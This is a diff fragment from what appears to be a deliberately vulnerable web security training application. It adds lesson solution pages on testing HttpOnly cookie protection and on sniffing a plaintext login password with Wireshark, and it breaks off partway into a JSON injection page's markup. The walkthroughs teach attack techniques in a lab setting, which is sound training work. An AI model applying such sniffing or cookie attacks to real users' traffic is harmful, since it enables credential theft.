|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.Heading2Char
|
||||
{mso-style-name:"Heading 2 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 2";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
span.Heading3Char
|
||||
{mso-style-name:"Heading 3 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 3";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-ascii-font-family:"Times New Roman";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:"Times New Roman";
|
||||
mso-bidi-font-family:Arial;
|
||||
font-weight:bold;}
|
||||
span.HTMLPreformattedChar
|
||||
{mso-style-name:"HTML Preformatted Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"HTML Preformatted";
|
||||
font-family:"Courier New";
|
||||
mso-ascii-font-family:"Courier New";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:"Courier New";
|
||||
mso-bidi-font-family:"Courier New";}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:595.3pt 841.9pt;
|
||||
margin:70.55pt 56.9pt 70.55pt 56.9pt;
|
||||
mso-header-margin:35.3pt;
|
||||
mso-footer-margin:35.3pt;
|
||||
mso-title-page:yes;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="4098"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b style='mso-bidi-font-weight:
|
||||
normal'><span style='font-family:"Arial","sans-serif"'>Lesson Plan Title:</span></b><span
|
||||
style='font-family:"Arial","sans-serif"'> HttpOnly Test<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b style='mso-bidi-font-weight:
|
||||
normal'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b style='mso-bidi-font-weight:
|
||||
normal'><span style='font-family:"Arial","sans-serif"'>Concept / Topic To
|
||||
Teach: <o:p></o:p></span></b></p>
|
||||
|
||||
<!-- Start Instructions -->
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>To
|
||||
help mitigate the cross site scripting threat, Microsoft has introduced a new cookie
|
||||
attribute entitled 'HttpOnly.' If this flag is set, then the browser should not
|
||||
allow client-side script to access the cookie. Since the attribute is
|
||||
relatively new, several browsers neglect to handle the new attribute properly. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b style='mso-bidi-font-weight:
|
||||
normal'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b style='mso-bidi-font-weight:
|
||||
normal'><span style='font-family:"Arial","sans-serif"'>General Goal(s): <o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>The
|
||||
purpose of this lesson is to test whether your browser supports the HTTPOnly
|
||||
cookie flag. Note the value of the unique2u cookie. If your browser supports
|
||||
HTTPOnly, and you enable it for a cookie, client side code should NOT be able
|
||||
to read OR write to that cookie, but the browser can still send its value to
|
||||
the server. Some browsers only prevent client side read access, but don't
|
||||
prevent write access.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='font-family:"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype
|
||||
id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t"
|
||||
path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_115" o:spid="_x0000_i1032" type="#_x0000_t75"
|
||||
style='width:480pt;height:277.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HttpOnly_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/HttpOnly_files/image015.jpg" v:shapes="Picture_x0020_115"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>1</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> Lesson HTTPOnly Test</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b style='mso-bidi-font-weight:
|
||||
normal'>Solution:<o:p></o:p></b></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b style='mso-bidi-font-weight:
|
||||
normal'><o:p> </o:p></b></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>HTTPOnly
|
||||
is not configured. When you click on "Read Cookie" you will get the following
|
||||
pop-up in JavaScript, displaying the cookies<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b style='mso-bidi-font-weight:
|
||||
normal'><o:p> </o:p></b></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><b
|
||||
style='mso-bidi-font-weight:normal'><span style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape
|
||||
id="Picture_x0020_117" o:spid="_x0000_i1031" type="#_x0000_t75" style='width:427.5pt;
|
||||
height:94.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HttpOnly_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=570 height=126
|
||||
src="lesson_solutions/HttpOnly_files/image016.jpg" v:shapes="Picture_x0020_117"><![endif]></span></b></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>2</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> All cookies<span
|
||||
style='font-weight:normal;mso-bidi-font-weight:bold'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>Select
|
||||
"Yes" to turn HTTPOnly on. Intercept the HTTP Request and HTTP Response in
|
||||
WebScarab.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='font-family:"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape
|
||||
id="Picture_x0020_118" o:spid="_x0000_i1030" type="#_x0000_t75" style='width:481.5pt;
|
||||
height:344.25pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HttpOnly_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=459
|
||||
src="lesson_solutions/HttpOnly_files/image017.jpg" v:shapes="Picture_x0020_118"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ
|
||||
Figure \* ARABIC <span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>3</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> HTTP Request</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_119"
|
||||
o:spid="_x0000_i1029" type="#_x0000_t75" style='width:481.5pt;height:344.25pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HttpOnly_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=459
|
||||
src="lesson_solutions/HttpOnly_files/image018.jpg" v:shapes="Picture_x0020_119"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>4</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> HTTP Response with HTTPOnly
|
||||
cookie</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>Click
|
||||
on "Read cookie". You will see the JSESSIONID which is not using HTTPOnly.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_120"
|
||||
o:spid="_x0000_i1028" type="#_x0000_t75" style='width:254.25pt;height:94.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HttpOnly_files/image009.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=339 height=126
|
||||
src="lesson_solutions/HttpOnly_files/image019.jpg" v:shapes="Picture_x0020_120"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>5</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> Only JSESSIONID</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_116"
|
||||
o:spid="_x0000_i1027" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HttpOnly_files/image011.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/HttpOnly_files/image020.jpg" v:shapes="Picture_x0020_116"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ
|
||||
Figure \* ARABIC <span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>6</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> HTTPOnly Success</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>Click
|
||||
on <20>Write cookie<69> which again only shows the JSESSIONID cookie.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='font-family:"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape
|
||||
id="Picture_x0020_121" o:spid="_x0000_i1026" type="#_x0000_t75" style='width:254.25pt;
|
||||
height:94.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HttpOnly_files/image009.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=339 height=126
|
||||
src="lesson_solutions/HttpOnly_files/image019.jpg" v:shapes="Picture_x0020_121"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>7</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> JSESSIONID cookie</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_122"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HttpOnly_files/image013.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/HttpOnly_files/image021.jpg" v:shapes="Picture_x0020_122"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>8</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> Lesson completed</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
1019
src/main/webapp/lesson_solutions_1/HttpSplitting.html
Normal file
1019
src/main/webapp/lesson_solutions_1/HttpSplitting.html
Normal file
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
|
||||
@ -0,0 +1,34 @@
|
||||
<xml xmlns:o="urn:schemas-microsoft-com:office:office">
|
||||
<o:MainFile HRef="../HttpSplitting.html"/>
|
||||
<o:File HRef="themedata.thmx"/>
|
||||
<o:File HRef="colorschememapping.xml"/>
|
||||
<o:File HRef="image001.png"/>
|
||||
<o:File HRef="image029.jpg"/>
|
||||
<o:File HRef="image003.png"/>
|
||||
<o:File HRef="image030.jpg"/>
|
||||
<o:File HRef="image005.png"/>
|
||||
<o:File HRef="image031.jpg"/>
|
||||
<o:File HRef="image007.png"/>
|
||||
<o:File HRef="image032.jpg"/>
|
||||
<o:File HRef="image009.png"/>
|
||||
<o:File HRef="image033.jpg"/>
|
||||
<o:File HRef="image011.png"/>
|
||||
<o:File HRef="image034.jpg"/>
|
||||
<o:File HRef="image013.png"/>
|
||||
<o:File HRef="image035.jpg"/>
|
||||
<o:File HRef="image015.png"/>
|
||||
<o:File HRef="image036.jpg"/>
|
||||
<o:File HRef="image017.png"/>
|
||||
<o:File HRef="image037.jpg"/>
|
||||
<o:File HRef="image019.png"/>
|
||||
<o:File HRef="image038.jpg"/>
|
||||
<o:File HRef="image021.png"/>
|
||||
<o:File HRef="image039.jpg"/>
|
||||
<o:File HRef="image023.png"/>
|
||||
<o:File HRef="image040.jpg"/>
|
||||
<o:File HRef="image025.png"/>
|
||||
<o:File HRef="image041.jpg"/>
|
||||
<o:File HRef="image027.png"/>
|
||||
<o:File HRef="image042.jpg"/>
|
||||
<o:File HRef="filelist.xml"/>
|
||||
</xml>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 176 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 178 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 37 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 32 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 37 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 27 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 39 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 55 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 186 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 189 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 31 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 32 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 30 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 28 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 31 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 35 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 25 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 38 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 30 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 31 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 19 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 37 KiB |
Binary file not shown.
61
src/main/webapp/lesson_solutions_1/InsecureLogin.html
Normal file
61
src/main/webapp/lesson_solutions_1/InsecureLogin.html
Normal file
@ -0,0 +1,61 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Insecure Login</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b>Insecure Login</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
Sensitive data should never sent in plaintext!
|
||||
Often applications switch to a secure connection after the authorization.
|
||||
An attacker could just sniff the login and use the gathered information
|
||||
to break into an account. A good webapplication always takes care of
|
||||
encrypting sensitive data.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
See how easy it is to sniff a password in plaintext. <br>
|
||||
Understand the advantages of encrypting the login data!
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
<p>This lesson has two stages. In the first stage you try to sniff a password
|
||||
which is sent in plaintext. In the second stage you try the same
|
||||
but on a secure connection.</p>
|
||||
<p>You need a client server setup for this lesson. Please refer
|
||||
to the Tomcat Setup in the Introduction section.</p>
|
||||
|
||||
<b>Stage 1</b>
|
||||
<p>Start a sniffer. If you do not have one we recommend wireshark, which
|
||||
is free: <a href="http://www.wireshark.org/"> Wireshark</a>. Make sure
|
||||
you are capturing on the right interface. Click on
|
||||
the submit button ans stop the capturing. Now analyze the captured data.</p>
|
||||
<div align="left">
|
||||
<img src="lesson_solutions/InsecureLogin_files/wireshark1.png"><br>
|
||||
<font size="2"> <b>Figure 1: Sniffed Traffic</b></font>
|
||||
</div>
|
||||
<p>As you can see we are interested in the HTTP Post request as
|
||||
the password is transmitted there. The field for the password has
|
||||
the name clear_pass and has as value sniffy. Of course
|
||||
this is also the correct answer and you are done with stage 1.</p>
|
||||
|
||||
<b>Stage 2</b>
|
||||
<p>
|
||||
Now you have to switch to a secure connection. You archive this
|
||||
by changing the URL from http://... to https://... Sniff again the traffic
|
||||
as you have done in stage 1. As you will see there is not sent the password
|
||||
in plaintext. The server communicates with the application over a secure layer
|
||||
the so called Transport Layer Security (TLS) also called Secure Socket Layer (SSL).
|
||||
TLS is a hybrid encrypting protocol. A master secret is built to communicate.
|
||||
This master secret is built by using SHA-1 and MD5. All traffic between
|
||||
the Server and the Cleint is encrypted.</p>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 136 KiB |
806
src/main/webapp/lesson_solutions_1/JSONInjection.html
Normal file
806
src/main/webapp/lesson_solutions_1/JSONInjection.html
Normal file
@ -0,0 +1,806 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<title>Solution: JSON Injection</title>
|
||||
<link rel=File-List href="lesson_solutions/JSONInjection_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/JSONInjection_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>3</o:Revision>
|
||||
<o:TotalTime>52</o:TotalTime>
|
||||
<o:Created>2007-07-11T15:15:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:20:00Z</o:LastSaved>
|
||||
<o:Pages>3</o:Pages>
|
||||
<o:Words>267</o:Words>
|
||||
<o:Characters>1527</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>12</o:Lines>
|
||||
<o:Paragraphs>3</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>1791</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/JSONInjection_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping href="lesson_solutions/JSONInjection_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:Zoom>90</w:Zoom>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
